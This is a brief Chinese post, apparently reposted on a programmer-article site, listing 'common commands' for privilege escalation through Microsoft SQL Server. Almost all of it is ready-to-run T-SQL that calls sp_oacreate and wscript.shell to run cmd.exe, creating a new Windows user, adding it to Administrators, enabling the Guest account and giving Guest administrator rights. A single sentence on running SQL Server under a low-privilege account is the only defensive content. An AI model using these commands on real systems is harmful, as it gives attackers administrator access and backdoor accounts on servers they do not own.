SQL 提权 常用命令
程序员文章站
2022-06-11 13:04:03
...
SQL 提权 常用命令,大家可以考虑下将sqlserver的服务运行权限设置为普通用户,即可防止下面的提权。
1、连接数据库driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名
2、添加新用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
3、把用户加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
4、激活GUEST用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
关于防范方法,可以参考脚本之家服务器栏目。
推荐阅读
-
SQL Server降权运行 SQL Server 2000以GUESTS权限运行设置方法
-
Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056)
-
Linux服务器漏洞防护CVE级别 可SUDO提权到管理员
-
Linux 曝出严重安全漏洞,受限用户亦可提权至 Root 身份运行任意命令!(内附解决方案)
-
SQL 提权 常用命令
-
Serv-U防溢出提权攻击解决设置方法
-
基于PEGASUS(Trident三叉戟)的OS X 10.11.6本地提权
-
齐博cms最新SQL注入网站漏洞 可远程执行代码提权
-
提权的一种方法
-
拓展练习:(用户的基本管理及用户提权部分)